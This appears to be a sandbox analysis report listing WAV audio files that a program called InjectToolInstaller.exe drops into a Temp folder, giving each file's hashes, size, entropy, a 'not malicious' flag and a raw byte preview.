SSDEEP:	49152:G5qMHUrhQQRDfnXr5f/4C9NgDclJJWWJy:G5qMHUrhQQRDfnXr5fAC9NgDclXWWw
MD5:	0390E78A8086536F56E11B0B40BE2D62
SHA1:	BA61E82CCE9E0EF301DB174F83E94B9244FAA799
SHA-256:	9102B9E757CEA1FDDFFD0F82888FF829AF7F11F6C522A31939FD54DAF0B3AA22
SHA-512:	6182190E88CCBBB060A6779B97E27794AA69252F4196B307165006D57234AEEE62283C1CFB41D405847C5079D3828706CAB648281D40DAFAF9CB10984868B1E9
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.^...D............@...U.9.p...........#............n..9...W.....=...y.\.V.........Y.....G.....l..:...........s...'....R...B.3.....l.....j.@.....E....&.....M..... ......^.#.....-.q.......2...2.]"..1.j.....(. .m....~........&........9....,.-.g..$.9.C.Q.......u.[ 5...!...5 n....B.+..#....U.!..(N....".n!....m..e&........d.......0...#.........'L......V)6.\|.q....,.)..%..."2)..].3..46\...S.U.g..G.r..............!o.3..)..'L(.. ......"..R...-....W.0..&......t..4..2.G.)..2.......6=!.... ..1. ,.....I-F3.........!..o.... U2....:....)g................E'..N.....-B...n..!&.....+..5..R..L..+......O.m2i.y.....+....._.n4R((.....(,#S.u.J.(N-......6.}...S...(.(.....B.........-.,....j..!m.H...>.Q,.0....v. &`#.....=#F6y..... '.M. ...{.:6....6.N..,v.......6l.l.....(..G..d..5......,,.........6..U......y.H.X..7........B3....V....9?.....P..3..p....2..v...? ..\|.L....3e.....5..)5...N..!B/^.......L"U....(-.,H.o...'.$

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\real_birds.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	5.154175266802094
Encrypted:	false
SSDEEP:	49152:G5qMHUrhQQRDfnXr5f/4C9NgDclJJWWJy:G5qMHUrhQQRDfnXr5fAC9NgDclXWWw
MD5:	0390E78A8086536F56E11B0B40BE2D62
SHA1:	BA61E82CCE9E0EF301DB174F83E94B9244FAA799
SHA-256:	9102B9E757CEA1FDDFFD0F82888FF829AF7F11F6C522A31939FD54DAF0B3AA22
SHA-512:	6182190E88CCBBB060A6779B97E27794AA69252F4196B307165006D57234AEEE62283C1CFB41D405847C5079D3828706CAB648281D40DAFAF9CB10984868B1E9
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.^...D............@...U.9.p...........#............n..9...W.....=...y.\.V.........Y.....G.....l..:...........s...'....R...B.3.....l.....j.@.....E....&.....M..... ......^.#.....-.q.......2...2.]"..1.j.....(. .m....~........&........9....,.-.g..$.9.C.Q.......u.[ 5...!...5 n....B.+..#....U.!..(N....".n!....m..e&........d.......0...#.........'L......V)6.\|.q....,.)..%..."2)..].3..46\...S.U.g..G.r..............!o.3..)..'L(.. ......"..R...-....W.0..&......t..4..2.G.)..2.......6=!.... ..1. ,.....I-F3.........!..o.... U2....:....)g................E'..N.....-B...n..!&.....+..5..R..L..+......O.m2i.y.....+....._.n4R((.....(,#S.u.J.(N-......6.}...S...(.(.....B.........-.,....j..!m.H...>.Q,.0....v. &`#.....=#F6y..... '.M. ...{.:6....6.N..,v.......6l.l.....(..G..d..5......,,.........6..U......y.H.X..7........B3....V....9?.....P..3..p....2..v...? ..\|.L....3e.....5..)5...N..!B/^.......L"U....(-.,H.o...'.$

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\real_drums - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	2.811605148312355
Encrypted:	false
SSDEEP:	24576:6ZaiJWsjThPnNxd3BUjBOLU4X3jluD8gG:6zWsjNnNHB1g4ZuQ
MD5:	149CD5CC6A68E10130DB2C4A03D71DE0
SHA1:	4BE908D4048EEBB86E3B5C95964C4BC156282DDA
SHA-256:	6A30422FCE563F3A084020EB86A3A728C3CF1EB04506E081E0FA7BBCA9B54EE1
SHA-512:	478038839937CBF277534635DA1561B9D448ECD3B51CA00F1109417A45969777E2B523ECC065F781599E7CB4A2B80ACFEEDB7528E8FE8683C4B3D7788A38047E
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.........H.........:.o.u.....s...p.v...c.>.T...j.a....".'.%--..771x8_9.9.C.=.>4AsA.R.GYCfSJJ.8.[=W.?.C.DuN@D.J.I.Ta@.B.J.A.C.C.>.G.?.;<;.<.=D;J;>-`6w-}#%&..V#..B.....................4.w..C...,..7.O...6.......^._...........1.F......>..........>.........D...).`.....-.......\|......}.8...1..........v...0...........=...h...l.(.I.u....8....f...f...d.....l.A...D.....h.T. ...\ . .$.%.%.)B?+.,.,s..-..o/.,I-H/+282.2.3>5.7.8.7.6.7/:.9.:.=@=p=.<.<.=.?.@R?.?HA.?.>y=.<.;.:x=.?i?~?S?.>.>.=.<.<$=.:.9.=.=.:.9):R:z9_9.8.8T819.9.7.4.2.2.3.4r1.0C2.4.4~2.0.0./q..-.,.>+.+.+.+@+K.).).(.&.&.&.%.%d$.#. . ..X 8 ......h.w.%.......Q.......o.......<.....{...v.........f.*.D...#.....6... .T.......5.....s....J...3.........\|......P......e.....,....../.....+.......d..:.<.B.....,.\|... .i.R.^.......^.........(.k...C...r.M...A.........n.....%.N.....!.......l.%...q...N...Z..........~.N...u.l.....>...].K.s...../.%.@...D........Z......_.Y..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\real_drums.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	2.811605148312355
Encrypted:	false
SSDEEP:	24576:6ZaiJWsjThPnNxd3BUjBOLU4X3jluD8gG:6zWsjNnNHB1g4ZuQ
MD5:	149CD5CC6A68E10130DB2C4A03D71DE0
SHA1:	4BE908D4048EEBB86E3B5C95964C4BC156282DDA
SHA-256:	6A30422FCE563F3A084020EB86A3A728C3CF1EB04506E081E0FA7BBCA9B54EE1
SHA-512:	478038839937CBF277534635DA1561B9D448ECD3B51CA00F1109417A45969777E2B523ECC065F781599E7CB4A2B80ACFEEDB7528E8FE8683C4B3D7788A38047E
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.........H.........:.o.u.....s...p.v...c.>.T...j.a....".'.%--..771x8_9.9.C.=.>4AsA.R.GYCfSJJ.8.[=W.?.C.DuN@D.J.I.Ta@.B.J.A.C.C.>.G.?.;<;.<.=D;J;>-`6w-}#%&..V#..B.....................4.w..C...,..7.O...6.......^._...........1.F......>..........>.........D...).`.....-.......\|......}.8...1..........v...0...........=...h...l.(.I.u....8....f...f...d.....l.A...D.....h.T. ...\ . .$.%.%.)B?+.,.,s..-..o/.,I-H/+282.2.3>5.7.8.7.6.7/:.9.:.=@=p=.<.<.=.?.@R?.?HA.?.>y=.<.;.:x=.?i?~?S?.>.>.=.<.<$=.:.9.=.=.:.9):R:z9_9.8.8T819.9.7.4.2.2.3.4r1.0C2.4.4~2.0.0./q..-.,.>+.+.+.+@+K.).).(.&.&.&.%.%d$.#. . ..X 8 ......h.w.%.......Q.......o.......<.....{...v.........f.*.D...#.....6... .T.......5.....s....J...3.........\|......P......e.....,....../.....+.......d..:.<.B.....,.\|... .i.R.^.......^.........(.k...C...r.M...A.........n.....%.N.....!.......l.%...q...N...Z..........~.N...u.l.....>...].K.s...../.%.@...D........Z......_.Y..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\real_piano - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	5.473088920355396
Encrypted:	false
SSDEEP:	49152:ev+woA87cZtWrzENzD1c8zQlzHW4bTOL:eWb7czgzENzD1c8ZmE
MD5:	5B88B489CE5A9207F1B60669D32F7A0E
SHA1:	D2BA6F65E8091324B5042BAEFD58BDE2177FA724
SHA-256:	216FDAAC90960EE05FF540FE214CFDC314B4AE57892437C940EB7B0EDB9BC87F
SHA-512:	DF3BF926E4C85ADC21599348442B4E8093885030D9DD0FDA3EA0A50606CFD1CD805EE89CDD7F43C48863671E68309955FAC14E50BB157590E6984A2233333B29
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.k.......................k...}.w.U...z.'.E.}...\|.0.g.[...7.......W.......^.X...1.....R.U.~...V.i.....9.I.T.....j.......+.......M.......N...d...&...X.....{...y.....<...v...E...L.....U.......[.......5.X.q.........s.u.........!.>.....B.....8.n.....+.8.\...p...b...j...=.............R.A.../...g.....s.........x...s...........M...~...4.P...........#...................+.I.~.......?.T...........(.)...w.:.'.......8...U...........B.........\.>...n.........4...p.....3.....F. . .I.a...E.~.....0.....(...2...~.h...................`.......:.S..._.............(.m.....[.......t...\|...g.j...R.^.....Q.........X...............P.............Y...........E.......@...b.S...i...i...o.....L.N.I...@.?...........A.....C.t...........~...C.....(...d.6.....S.........(.".4.^.....9./...L.............!...3...y.<.........q.5.6.............+.;.p.....Z.t.....R.......'.W...<......._.......3.....!.=.....S.........w.....9.'.Y./...,.........:.Z...........v.........1...K..."...e.1.4...

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\real_piano.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	5.473088920355396
Encrypted:	false
SSDEEP:	49152:ev+woA87cZtWrzENzD1c8zQlzHW4bTOL:eWb7czgzENzD1c8ZmE
MD5:	5B88B489CE5A9207F1B60669D32F7A0E
SHA1:	D2BA6F65E8091324B5042BAEFD58BDE2177FA724
SHA-256:	216FDAAC90960EE05FF540FE214CFDC314B4AE57892437C940EB7B0EDB9BC87F
SHA-512:	DF3BF926E4C85ADC21599348442B4E8093885030D9DD0FDA3EA0A50606CFD1CD805EE89CDD7F43C48863671E68309955FAC14E50BB157590E6984A2233333B29
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.k.......................k...}.w.U...z.'.E.}...\|.0.g.[...7.......W.......^.X...1.....R.U.~...V.i.....9.I.T.....j.......+.......M.......N...d...&...X.....{...y.....<...v...E...L.....U.......[.......5.X.q.........s.u.........!.>.....B.....8.n.....+.8.\...p...b...j...=.............R.A.../...g.....s.........x...s...........M...~...4.P...........#...................+.I.~.......?.T...........(.)...w.:.'.......8...U...........B.........\.>...n.........4...p.....3.....F. . .I.a...E.~.....0.....(...2...~.h...................`.......:.S..._.............(.m.....[.......t...\|...g.j...R.^.....Q.........X...............P.............Y...........E.......@...b.S...i...i...o.....L.N.I...@.?...........A.....C.t...........~...C.....(...d.6.....S.........(.".4.^.....9./...L.............!...3...y.<.........q.5.6.............+.;.p.....Z.t.....R.......'.W...<......._.......3.....!.=.....S.........w.....9.'.Y./...,.........:.Z...........v.........1...K..."...e.1.4...

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\real_sc09 - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.5906045417477666
Encrypted:	false
SSDEEP:	24576:szessXZSmhk82J34hjpIHxQI05e/rvOYHUZ9WXAWvUzzfpaQAm1FE74:szxshq4tpuO5e/rvO7MhvUnfpaTmQ74
MD5:	5392A5FB1C3D0CE48EE2F6DB8C8C157C
SHA1:	694AD4D5939FA7D468399150A026A3EFCE6773BF
SHA-256:	1033B1227E5A7814B34221274272B384F0F8DDBE31A600FF070EF1F0C1FEE901
SHA-512:	1A0CE0C2C5D4818EB83F38C4C3328EB4AAB653A625E0E1FCA5338E23F955D4DA206C3B0BB3106A89736E69077F75079A3BC54FDC458CEBE7389CC8A727E31988
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.........................../.............O.....`.....=.<.....5.Y...........3.............7.9.R...Q...o.........g...........W...........b.m.....d.....:.l...T.........N._.....`...)...Z...........t...................o.!.p...m.......C.f...!...............).&.............!...............................................&...............'....."................................................................................................................................................................................................................. ...........................................................................................................................................".............................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\real_sc09.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.5906045417477666
Encrypted:	false
SSDEEP:	24576:szessXZSmhk82J34hjpIHxQI05e/rvOYHUZ9WXAWvUzzfpaQAm1FE74:szxshq4tpuO5e/rvO7MhvUnfpaTmQ74
MD5:	5392A5FB1C3D0CE48EE2F6DB8C8C157C
SHA1:	694AD4D5939FA7D468399150A026A3EFCE6773BF
SHA-256:	1033B1227E5A7814B34221274272B384F0F8DDBE31A600FF070EF1F0C1FEE901
SHA-512:	1A0CE0C2C5D4818EB83F38C4C3328EB4AAB653A625E0E1FCA5338E23F955D4DA206C3B0BB3106A89736E69077F75079A3BC54FDC458CEBE7389CC8A727E31988
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.........................../.............O.....`.....=.<.....5.Y...........3.............7.9.R...Q...o.........g...........W...........b.m.....d.....:.l...T.........N._.....`...)...Z...........t...................o.!.p...m.......C.f...!...............).&.............!...............................................&...............'....."................................................................................................................................................................................................................. ...........................................................................................................................................".............................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\real_tatum - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	3676844
Entropy (8bit):	7.065320582158372
Encrypted:	false
SSDEEP:	49152:ZK/3Vt4Wiv+8ymimxm8xCULjc8mb6gqRqyextoePcJu6c22rkDl5rK+89r:Z83PRmjxTdsbevRUtoePcJX2rkp5hAr
MD5:	F764169BFFE65099EDA80ACE5F90E046
SHA1:	82BCAEC9920FFABC3C6EA08A277511C2E871B230
SHA-256:	88341A5EE3600529B8026D421D2B6004299D9BC3D89BDB3E2A8643CCA107F3ED
SHA-512:	3EEDF74FEB8A30E2DDB6767B25580625E7D200E34E8A20A7412BC4E60D8CA5194C7D2436A632CEDC676D93841A560BD0DE9470D48F6EEE4A4AD3B7D5F4064D80
Malicious:	false
Preview:	RIFF..8.WAVEfmt .........>...}......data..8........9.\|.$.....p....@.s.m/.;.?D=.9.3.+. D.h...{....<...1.....%.;.L.]...c...k..$.&t$o!................K......x.....U....J........`...Y.................i.?...h. .Z...[...d.....T.:.......=...g.....r.j...A.p..............)..3.%.\|..R...;...G.....N.+.....'....l.....o....". ........j.V.q.\|.m.....S.{...-.x.#..!.(.,},.(}!_._.....N.C..........{.......V.`...r.....o.a.....t.h.!.k......'.+.)y!..p...C..."............."='.'R$/.......$.....8.X.J.......H...].P.......................&....$.,...+.#..............!...6.......Q.;..!.%.%."/.........U.....c...7.w.V.O..V.....7.E.#...V...t.(.........K.V...V.N..~...8.[......M.m.8...... ..;...^.(.G ;%.'`&..j...R.......z.............D...r..............D...6.f..........&.-=/i+.$. . ?#C'.+71.6c7P4...'+ ........w.............h.u.....@.>.I.^.._.H.................N...,.?...j.D.....).i.O.-#.!....e...2.].N.o...+.......^.C...E&\|,t0.0.-.'6 ....X. ....,.k.....Q.........4......~.N.......

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\real_tatum.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	3676844
Entropy (8bit):	7.065320582158372
Encrypted:	false
SSDEEP:	49152:ZK/3Vt4Wiv+8ymimxm8xCULjc8mb6gqRqyextoePcJu6c22rkDl5rK+89r:Z83PRmjxTdsbevRUtoePcJX2rkp5hAr
MD5:	F764169BFFE65099EDA80ACE5F90E046
SHA1:	82BCAEC9920FFABC3C6EA08A277511C2E871B230
SHA-256:	88341A5EE3600529B8026D421D2B6004299D9BC3D89BDB3E2A8643CCA107F3ED
SHA-512:	3EEDF74FEB8A30E2DDB6767B25580625E7D200E34E8A20A7412BC4E60D8CA5194C7D2436A632CEDC676D93841A560BD0DE9470D48F6EEE4A4AD3B7D5F4064D80
Malicious:	false
Preview:	RIFF..8.WAVEfmt .........>...}......data..8........9.\|.$.....p....@.s.m/.;.?D=.9.3.+. D.h...{....<...1.....%.;.L.]...c...k..$.&t$o!................K......x.....U....J........`...Y.................i.?...h. .Z...[...d.....T.:.......=...g.....r.j...A.p..............)..3.%.\|..R...;...G.....N.+.....'....l.....o....". ........j.V.q.\|.m.....S.{...-.x.#..!.(.,},.(}!_._.....N.C..........{.......V.`...r.....o.a.....t.h.!.k......'.+.)y!..p...C..."............."='.'R$/.......$.....8.X.J.......H...].P.......................&....$.,...+.#..............!...6.......Q.;..!.%.%."/.........U.....c...7.w.V.O..V.....7.E.#...V...t.(.........K.V...V.N..~...8.[......M.m.8...... ..;...^.(.G ;%.'`&..j...R.......z.............D...r..............D...6.f..........&.-=/i+.$. . ?#C'.+71.6c7P4...'+ ........w.............h.u.....@.>.I.^.._.H.................N...,.?...j.D.....).i.O.-#.!....e...2.].N.o...+.......^.C...E&\|,t0.0.-.'6 ....X. ....,.k.....Q.........4......~.N.......

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\real_timit - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.360574588423412
Encrypted:	false
SSDEEP:	24576:NIcAVVboOeSqviOJ4sY1TPbBXr23jnd0UCz2Ot7pCPjL:NIB/NKiOJ47bBb23jdnCCOIL
MD5:	9C82673085C3D170DFA63A6C7BE31776
SHA1:	3A753DA6E8FEF9A09E841DC2CD1F7D97832DFB65
SHA-256:	0FBF274C9A44E2E2842423BDFE570A5BA7CBD4E1C4AC5446E45C56D022FB1FB7
SHA-512:	D42E2CAF6B76A715139D7DA3E172D1B7ABECBC424FE7A8FA4CE4AD371D2C199873ECA4882B0F51DF81C8C18749D846C887F49D92B4D83EF77708436D83E64638
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\real_timit.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.360574588423412
Encrypted:	false
SSDEEP:	24576:NIcAVVboOeSqviOJ4sY1TPbBXr23jnd0UCz2Ot7pCPjL:NIB/NKiOJ47bBb23jdnCCOIL
MD5:	9C82673085C3D170DFA63A6C7BE31776
SHA1:	3A753DA6E8FEF9A09E841DC2CD1F7D97832DFB65
SHA-256:	0FBF274C9A44E2E2842423BDFE570A5BA7CBD4E1C4AC5446E45C56D022FB1FB7
SHA-512:	D42E2CAF6B76A715139D7DA3E172D1B7ABECBC424FE7A8FA4CE4AD371D2C199873ECA4882B0F51DF81C8C18749D846C887F49D92B4D83EF77708436D83E64638
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\specgan_birds - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.544332618581673
Encrypted:	false
SSDEEP:	49152:5fMXZylE908yPhgOm2CWpCiroVWFNmqrkvqUrg:5UJym90lhgr2CWpCwoVWFNmYkvvs
MD5:	189AE0C626D6D7287E0FFED4389CCB05
SHA1:	EC64C9F7B9FA6D6879793317E8431AC69338DDB8
SHA-256:	F43A43E58ECD71A43A1393A6C6A3056228E525963704ED75AE04BD5FBCD2305F
SHA-512:	973E344A2D266A1EB1BD848945C3CFCC16E5C4F0AA9E71F6FDFD96B9E7A18CBCA630239257BF69B0922DAE275E364068609BE6D42F6A6209E853B2FF0600790C
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%...............................................................................................................................................................................................$.'."...............................................$...(.?.B.L.k.q.\.L.;................................................. .&.&.$."...............................................................................................................................................................................................................).B.C.5.:.1..............................................................................................................................................................................................................."...%.9...!.B.4.$.J.R.3.+.-....................................................... .!...!.".......................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\specgan_birds.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.544332618581673
Encrypted:	false
SSDEEP:	49152:5fMXZylE908yPhgOm2CWpCiroVWFNmqrkvqUrg:5UJym90lhgr2CWpCwoVWFNmYkvvs
MD5:	189AE0C626D6D7287E0FFED4389CCB05
SHA1:	EC64C9F7B9FA6D6879793317E8431AC69338DDB8
SHA-256:	F43A43E58ECD71A43A1393A6C6A3056228E525963704ED75AE04BD5FBCD2305F
SHA-512:	973E344A2D266A1EB1BD848945C3CFCC16E5C4F0AA9E71F6FDFD96B9E7A18CBCA630239257BF69B0922DAE275E364068609BE6D42F6A6209E853B2FF0600790C
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%...............................................................................................................................................................................................$.'."...............................................$...(.?.B.L.k.q.\.L.;................................................. .&.&.$."...............................................................................................................................................................................................................).B.C.5.:.1..............................................................................................................................................................................................................."...%.9...!.B.4.$.J.R.3.+.-....................................................... .!...!.".......................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\specgan_drums - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	3.176546861877274
Encrypted:	false
SSDEEP:	12288:caoeSGqrrU9G1aNbVp967yqEgQ5Qotm+cazxiqBB8QpH1ivCkfvleNhqMFb34BAA:c5U9GwNk2QsZcazoui6u3gEOzN37Ny
MD5:	6EB8849162425BF473A9A86F8765E014
SHA1:	4D439D545B09D5711A3E85C68FF43C6C39934A85
SHA-256:	33C47E6D4A82A09134205811A63ED78A1DE4AF1F61FB04C921785AD91E3ECAEF
SHA-512:	A630AF5C1A517BD652F689C98E8D6C4438C1A34C2E847F52AA61DCB1C64F5296B286A6FEE715A865061EE3B26A72B904617C913C34299F0C402F8149D2D7F943
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.............................................................................................!..=.`...........p.l.m.....................................^.;...w.........n.,...........$.....0.G.../.....c...L.....0.......F.....}.).m.!.,.1...........<.\.4....Y.r.....................Q.....O.......C.......~...W.w.............l...e...........................!.C.f.......-.~...+.Q.m.\|.......O.3.................v.\.F.3.................N.......a.1.....=.....k.L.].6.8.d...<.6.7.u......... ...........j.........M.....................&.\|...T.3.....}...$.k...(.b...................).a.k...........+.;.;.=.P.u...............+.^.........#.b.......<...................................}.l.L.....s.....u.(.........Z.N.;...$.M.G.........I.....p...L.S......... .....O.'...a...~. .a.......8.a.%...........Q.I.(...o.I.s.....L.....}.J.'.............,.....{._.@. .....i.*...........K...(.L.X.^...........#.L.j.l.....................................x.g.m.p.n.\.[.H.>.=.G.K.M.n.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\specgan_drums.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	3.176546861877274
Encrypted:	false
SSDEEP:	12288:caoeSGqrrU9G1aNbVp967yqEgQ5Qotm+cazxiqBB8QpH1ivCkfvleNhqMFb34BAA:c5U9GwNk2QsZcazoui6u3gEOzN37Ny
MD5:	6EB8849162425BF473A9A86F8765E014
SHA1:	4D439D545B09D5711A3E85C68FF43C6C39934A85
SHA-256:	33C47E6D4A82A09134205811A63ED78A1DE4AF1F61FB04C921785AD91E3ECAEF
SHA-512:	A630AF5C1A517BD652F689C98E8D6C4438C1A34C2E847F52AA61DCB1C64F5296B286A6FEE715A865061EE3B26A72B904617C913C34299F0C402F8149D2D7F943
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.............................................................................................!..=.`...........p.l.m.....................................^.;...w.........n.,...........$.....0.G.../.....c...L.....0.......F.....}.).m.!.,.1...........<.\.4....Y.r.....................Q.....O.......C.......~...W.w.............l...e...........................!.C.f.......-.~...+.Q.m.\|.......O.3.................v.\.F.3.................N.......a.1.....=.....k.L.].6.8.d...<.6.7.u......... ...........j.........M.....................&.\|...T.3.....}...$.k...(.b...................).a.k...........+.;.;.=.P.u...............+.^.........#.b.......<...................................}.l.L.....s.....u.(.........Z.N.;...$.M.G.........I.....p...L.S......... .....O.'...a...~. .a.......8.a.%...........Q.I.(...o.I.s.....L.....}.J.'.............,.....{._.@. .....i.*...........K...(.L.X.^...........#.L.j.l.....................................x.g.m.p.n.\.[.H.>.=.G.K.M.n.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\specgan_piano - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.641987743167123
Encrypted:	false
SSDEEP:	24576:Ws1X1HNt13odu1UbNDcasTep8u8y4OfZCIJ7GHb1TrC289fL:Ws1XJ1CuOxcaSO8OACObhCF
MD5:	EE5FB4B49FE3D85F8A18D622D155C1B7
SHA1:	3CB420A5B81952E8B02C71402F79FB2D14AE696A
SHA-256:	C4017D513A85A3DBDE5EA42EE0C500E19A392147793C30E51F4B8E4AF0AFD751
SHA-512:	48DF84936AB9940D809930A595E6DDBF77B9CA00F5A2426CA0B5E77C30A636A44FDDBCAD99C16BB40805928F6AA1BE34308425549FC318440A3C87D52A7F5D74
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%...................................................................................................3.Y.n.n.w...~.>.................i._.z.......L.c.......o...S.~.....[...........0.}.F...2...%.....@...[.6...&...r.......N...#...........:.....}.........N.......l.Y...E.....#.....d..._...k.....~...u.........#.....e.C.......q.5...5.>...)...=.K...#...............!.X.D.C...2.......f...K...X..._.q...A...............l.X.q...q.....i.P...l.......6.......5.....l.............).w...&............d.....?...=.........\...6.........N.O...S...}.L.}.....................Z...].C.....h.....N........."...z...(...r...U.......I.......J.........1.v.x.>.........4.................[.........h.N.............L.)...Q...(.".\.\.^...............G.......l.....$. .....).......t.......@...-.g..........q.........D..................Z.\.d...4...6...~.[.M...w.v.....L...X...5.........i.~.*...v.........:.....]...........{.h.....K.O._.....P.....4.......U...h.'.I...(...D.......m...j.....

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\specgan_piano.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.641987743167123
Encrypted:	false
SSDEEP:	24576:Ws1X1HNt13odu1UbNDcasTep8u8y4OfZCIJ7GHb1TrC289fL:Ws1XJ1CuOxcaSO8OACObhCF
MD5:	EE5FB4B49FE3D85F8A18D622D155C1B7
SHA1:	3CB420A5B81952E8B02C71402F79FB2D14AE696A
SHA-256:	C4017D513A85A3DBDE5EA42EE0C500E19A392147793C30E51F4B8E4AF0AFD751
SHA-512:	48DF84936AB9940D809930A595E6DDBF77B9CA00F5A2426CA0B5E77C30A636A44FDDBCAD99C16BB40805928F6AA1BE34308425549FC318440A3C87D52A7F5D74
Malicious:	false
